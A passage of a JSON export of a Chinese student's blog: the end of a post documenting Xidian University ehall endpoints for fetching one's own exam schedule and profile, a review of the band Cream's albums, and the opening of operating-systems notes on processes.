003ctr\u003e\n\u003ctd\u003eSKXQ\u003c/td\u003e\n\u003ctd\u003e上课星期\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXXXQDM\u003c/td\u003e\n\u003ctd\u003e校区\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKZC\u003c/td\u003e\n\u003ctd\u003e上课周次(是数字数组,对应周的元素代表是否有课)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCMC\u003c/td\u003e\n\u003ctd\u003e上课周次(字符串)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSJC\u003c/td\u003e\n\u003ctd\u003e开始教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJSJC\u003c/td\u003e\n\u003ctd\u003e结束教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"获取考试安排\"\u003e获取考试安排\u003c/h3\u003e\n\u003cp\u003e先说明一下,这块由于没有基本材料,我目前也没有考试,所以以下逻辑仅供参考。\u003c/p\u003e\n\u003ch4 id=\"关于获取学期数据\"\u003e关于获取学期数据\u003c/h4\u003e\n\u003cp\u003e我经历了那次坑爹的年初疫情,后面我们考试的时候,我们需要自己去一站式更改学期,才能看到我们拖延考试的信息。所以,这里我想做一个查看往学期考试信息的功能。\u003c/p\u003e\n\u003cp\u003e然后,当我获取所有学期代码的时候,我发现好家伙,数据居然是从 2012 年开始算的。兄弟,我 2020 年入学的好吗?\u003c/p\u003e\n\u003cp\u003e所以,我感觉每年的二月到七月算春季学期,剩下的是秋季学期,我决定自己获取学期代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emonth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"查询考试安排信息\"\u003e查询考试安排信息\u003c/h4\u003e\n\u003cp\u003e实际上我找到了三个相关请求,分别是:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003ewdksap\u003c/td\u003e\n\u003ctd\u003e我的考试安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxyxkwapkwdkc\u003c/td\u003e\n\u003ctd\u003e查询已选课未安排考务的课程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxwapdksrw\u003c/td\u003e\n\u003ctd\u003e查询未安排的考试任务\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch5 id=\"我的考试安排\"\u003e我的考试安排\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;-KSRQ,-KSSJMS\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][wdksap]\u003c/code\u003e 里面,提取之。\u003c/p\u003e\n\u003cp\u003e如果有考试的话,\u003ccode\u003e[extParams][code]\u003c/code\u003e 为 1,数据在 \u003ccode\u003e[row]\u003c/code\u003e 里面。\u003c/p\u003e\n\u003ch5 id=\"查询已选课未安排考务的课程\"\u003e查询已选课未安排考务的课程\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][cxyxkwapkwdkc]\u003c/code\u003e 里面,提取之,接下来咋处理我不想说了。\u003c/p\u003e\n\u003ch5 id=\"查询未安排的考试任务\"\u003e查询未安排的考试任务\u003c/h5\u003e\n\u003cp\u003e这个我每次请求,返回的数据都是\u0026#34;学生查询在考试任务中且没有安排的课程\u0026#34;。所以我也不知道该咋办了,兴许这又是教务处啥不可说的禁区?\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表-1\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e打开网页调试器的网络分项,我看到了请求几个 html 的东西,里面就有缩写和对应中文,这里我摘抄几个。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSSJMS\u003c/td\u003e\n\u003ctd\u003e考试时间\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASMC\u003c/td\u003e\n\u003ctd\u003e考试地点(具体是啥我也不知道)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZJJSXM\u003c/td\u003e\n\u003ctd\u003e主讲教师\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZWH\u003c/td\u003e\n\u003ctd\u003e座位号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYKKS\u003c/td\u003e\n\u003ctd\u003e已完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWKKS\u003c/td\u003e\n\u003ctd\u003e未完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ\u003c/td\u003e\n\u003ctd\u003e考生须知\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYXZXAPKS\u003c/td\u003e\n\u003ctd\u003e院系自行安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"个人信息\"\u003e个人信息\u003c/h3\u003e\n\u003cp\u003e感觉这是最没用的功能了,除了打开应用告诉你是谁之外(溜了)\u003c/p\u003e\n\u003ch4 id=\"获取方法\"\u003e获取方法\u003c/h4\u003e\n\u003cp\u003e还记得获取成绩前,我们需要把跳转网址自行发送 GET 请求吗?获取个人信息时候也需要这么做:-P\u003c/p\u003e\n\u003cp\u003e如果你需要获取很基本的信息,我们往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\u003c/a\u003e学号 发送 POST 请求。数据的 returnCode 里面,有 #E000000000000 就是成功。获取的信息在 \u003ccode\u003e[data]\u003c/code\u003e 里面,是一个数组。数组元素依次是学号,姓名,学院。\u003c/p\u003e\n\u003cp\u003e要想获取更加具体的信息,请往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\u003c/a\u003e 发送信息,附带数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;requestParamStr\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"金智黑话翻译表-2\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXM\u003c/td\u003e\n\u003ctd\u003e姓名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXBDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e性别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ5_DISPLAY\u003c/td\u003e\n\u003ctd\u003e书院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDZ_DWDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e学院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZYDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e专业\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZSDZ\u003c/td\u003e\n\u003ctd\u003e宿舍\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e感觉看了那么多东西,算是把网页请求和 Cookie 啥的了解了一下,保证将来计网学的时候没有陌生感(虽然据说不咋讲)。\u003c/p\u003e\n\u003cp\u003e希望那玩意能写出来吧,免得将来找工作说没有编程经验,虽然 Dart 和 Flutter 也是很小众就是了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/the-things-behind-xidian-e-hall.html"},{"title":"奶油乐队个人回顾","time":"2022-06-12T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/GOzRUgIAKfEQdu3.jpg\" alt=\"Featured image of post 奶油乐队个人回顾\"/\u003e\u003cp\u003e我最近在搞 CPP 的一卡通管理系统大作业,那里面有三个测试文件。有个测试文件是 resident.txt,我在里面输了两个人:Clapton 和 Baker,他们俩对应 Eric Clapton(guitar) 和 Ginger Baker(drums),都是奶油乐队的成员。不过我忘输机 Jack Bruce(bass, harmonica, vocal) 了:-P\u003c/p\u003e\n\u003cp\u003e奶油乐队是上世纪六十年代末的摇滚乐队,所以音乐风格有点复杂。\u003c/p\u003e\n\u003ch2 id=\"上来布鲁斯就超标\"\u003e上来布鲁斯就超标\u003c/h2\u003e\n\u003cp\u003e他们的第一张专辑 \u003cem\u003eFresh Cream\u003c/em\u003e 布鲁斯的味道简直是超标,毕竟有一半的歌曲是翻唱的布鲁斯歌曲。在原创的歌曲中,\u003cem\u003eSleepy Time Time\u003c/em\u003e 体现得很明显。上来的四个音,标准的布鲁斯。后面的三个连音,也是布鲁斯。就连吉他独奏,还是布鲁斯。加上迷幻的歌词,感觉有种奇特的感觉。而在翻唱作品中,\u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin’\u003c/em\u003e 是最有那种感觉的,也就是高亢的声调来体现悲伤的感情,这都要归功于出色的口琴表演。\u003c/p\u003e\n\u003cp\u003e来说说鼓手的表现。这张专辑有些歌曲的鼓声简直是疯狂至极,尤其在 \u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin’\u003c/em\u003e 里面。 \u003cem\u003eSweet Wine\u003c/em\u003e 也是他写的,听起来超级有节奏感,咚咚的感觉。专辑的最后 \u003cem\u003eToad\u003c/em\u003e 就是给他炫技的专门舞台,开创了鼓手独奏在录音室专辑中的先河。(据说他老人家有点小看 Bonzo 233)\u003c/p\u003e\n\u003cp\u003e至于吉他手嘛,他的舞台不在录音室,而在现场。这张专辑除了上面说的,再加上 \u003cem\u003eI Feel Free\u003c/em\u003e ,就没啥了。\u003c/p\u003e\n\u003cp\u003e关于第一张专辑,我还想说一点。这张专辑的双声道版本在我看来,十分地糟糕。鼓声贝斯完全在左声道,吉他声完全在左声道,听上去太割裂啦。要想完整欣赏的话,要不找个有单声道混音的纪念版,要不找个好点的单声道混音器:-P\u003c/p\u003e\n\u003ch2 id=\"然后酒喝多了脑袋沉沉的\"\u003e然后酒喝多了,脑袋沉沉的\u003c/h2\u003e\n\u003cp\u003e他们的第二张专辑 \u003cem\u003eDisraeli Gears\u003c/em\u003e 开始迷幻了起来,虽然布鲁斯的感觉还在,但是已然不是主导的力量了。他们的声音逐渐加重了起来,也迷幻了起来。甚至名字都是迷幻的。比如说上来一首 \u003cem\u003eStrange Brew\u003c/em\u003e ,虽然起调的六个音十分的布鲁斯,但只要稍微延长一下,就迷幻了起来。中间的独奏也是由连音造就的玄幻感觉。这杯啤酒就很怪。\u003c/p\u003e\n\u003cp\u003e当然,也有融合得不是很好的。比如 \u003cem\u003eTales of Brave Ulysses\u003c/em\u003e ,就是纯靠有一点布鲁斯哇音搞点那种感觉,一开始听我没觉得很独特。这之后的 \u003cem\u003eSWLABW\u003c/em\u003e 名字很奇怪 ( She Walked Like A Beard Rainbow ),但是节奏却很快,不迷幻,很清醒,我听完很爽的,是不是人真要迷幻起来也就这样激情吧。\u003c/p\u003e\n\u003cp\u003e这些特点都要归功于新的制作人。第一张专辑的制作人,就是他们的经纪人 Robert Stigwood,经纪人没有抓住他们乐曲的主要特点,搞得听起来有点平平。回来有个贝斯手 Felix Pappalardi 听完了,找到了他们,稍微改了几下,添加了很多新要素。\u003c/p\u003e\n\u003cp\u003e这张专辑的元素,实际上十分多样化,出现了全新风格的歌曲。比如 \u003cem\u003eSunshine of Your Love\u003c/em\u003e 就十分的重摇滚,没啥布鲁斯,也不迷幻。\u003cem\u003eDance the Night Away\u003c/em\u003e 和 \u003cem\u003eWe‘re Going Wrong\u003c/em\u003e 十分纯粹地抒情。前者独奏中的吉他涟漪荡漾,十分地有感觉。\u003c/p\u003e\n\u003ch2 id=\"彻底没有融合分化的很明显\"\u003e彻底没有融合,分化的很明显\u003c/h2\u003e\n\u003cp\u003e第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 的录音室歌曲部分明显感觉到布鲁斯,迷幻的感觉都没有那么明显了。从布鲁斯的感觉中,脱胎出重摇滚的感觉。迷幻的感觉我觉得荡然无存了,取代的是偏流行的因素。\u003c/p\u003e\n\u003cp\u003e先说流行的感觉,因为我对这个没有那么深的感觉。\u003cem\u003eWhite Room\u003c/em\u003e 气势宏大,\u003cem\u003eThose Were the Days\u003c/em\u003e 节奏欢快,\u003cem\u003eAs You Said\u003c/em\u003e 十分伤感抒情。歌曲的风格已经很复杂,而且流行的感觉了。这个对第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的三首歌都适用。\u003c/p\u003e\n\u003cp\u003e再说重摇滚的感觉,我前面说过的很多布鲁斯调子都是几个音,只要加重一下,重的感觉立马就出来了。比如说 \u003cem\u003ePolician\u003c/em\u003e 这首歌,上来的五个音虽然不是那么布鲁斯,但是绝对是很重的,布鲁斯的痕迹还是在的,而且吉他独奏也是明显的脱胎自布鲁斯。而这张专辑的两首布鲁斯翻唱 \u003cem\u003eSitting on the Top of the World\u003c/em\u003e 和 \u003cem\u003eBorn Under A Bad Sign\u003c/em\u003e,也是十分的重。我曾经看有人说过重金属脱胎自布鲁斯,现在我是有点明白了。(没错,说的就是 Led Zeppelin)\u003c/p\u003e\n\u003cp\u003e实际上,听他们的现场,基本就是这个感觉。他们也是因为第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 和第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的现场演奏部分就是这种感觉。很重,很快,很布鲁斯。强烈推荐 \u003cem\u003eSpoonful\u003c/em\u003e 的现场演奏版,绝对能听得很爽。\u003c/p\u003e\n\u003ch2 id=\"我还有啥要说的\"\u003e我还有啥要说的\u003c/h2\u003e\n\u003cp\u003e讲道理,要不是这个乐队有个很出名的吉他手,现在人估计没有多少人会注意到这个乐队。但作为六十年代末期比较出名的乐队之一,他们迷幻又重型的风格,让他们在摇滚乐的形成方面起到了很大的作用。他们录音室专辑除了第二张,其他的并没有那么好。但是他们的现场,绝对是经典中的经典。\u003c/p\u003e\n\u003ch2 id=\"扩展观看\"\u003e扩展观看\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.discogs.com/artist/229621-Cream-2\" target=\"_blank\" rel=\"noopener\"\u003eDiscogs 上面的乐队信息\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1xF411T75L\" target=\"_blank\" rel=\"noopener\"\u003e这个乐队的纪录片\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Zy4y1y729\" target=\"_blank\" rel=\"noopener\"\u003e本乐队鼓手的纪录片\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/CPP/exp4\" target=\"_blank\" rel=\"noopener\"\u003e那个大作业\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/cream-band-review.html"},{"title":"操作系统:线程","time":"2022-04-09T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/XwlnJjUEqyDB6WZ.png\" alt=\"Featured image of post 操作系统:线程\"/\u003e\u003ch2 id=\"进程概要\"\u003e进程概要\u003c/h2\u003e\n\u003ch3 id=\"栈区是否是程序的一部分\"\u003e栈区是否是程序的一部分?\u003c/h3\u003e\n\u003cp\u003e不是,栈区是进程的一部分,而程序不是进程。(什么咬文嚼字233)\u003cbr/\u003e\n概念:进程是正在运行的程序。包括程序计数器,栈区和数据区。\u003c/p\u003e\n\u003ch3 id=\"进程创建的四种情况是啥\"\u003e进程创建的四种情况是啥?\u003c/h3\u003e\n\u003cp\u003e系统初始化,用户请求,系统调用,批处理初始化。\u003c/p\u003e\n\u003ch2 id=\"父子进程\"\u003e父子进程\u003c/h2\u003e\n\u003ch3 id=\"fork-创建子进程-和-exec-执行-的区别\"\u003eFork (创建子进程) 和 Exec (执行) 的区别\u003c/h3\u003e\n\u003cp\u003e我觉得括号里面说的很明白了2333\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFork: 子进程和父进程的代码区,堆栈区是相同的。\u003c/li\u003e\n\u003cli\u003eExec: 在同一个进程中,用程序镜像替换这个进程(使用执行程序的程序段和代码段覆盖)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"命令行shell如何执行用户指令\"\u003e命令行(Shell)如何执行用户指令?\u003c/h3\u003e\n\u003cp\u003e用 UNIX 系统举例 (详情见书 P88 最后一段)\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e读取并解析字符串,找到程序\u003c/li\u003e\n\u003cli\u003e使用 \u003ccode\u003efork\u003c/code\u003e/\u003ccode\u003eexec\u003c/code\u003e 系统调用生成子进程\u003c/li\u003e\n\u003cli\u003e子进程使用 \u003ccode\u003eexecvp\u003c/code\u003e 系统调用,使用执行程序的程序段和代码段覆盖。\u003c/li\u003e\n\u003cli\u003e父进程进入等待状态。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e概念:进程的状态有准备态(Ready),等待态(Waiting),运行态(Running)\u003c/p\u003e\n\u003ch3 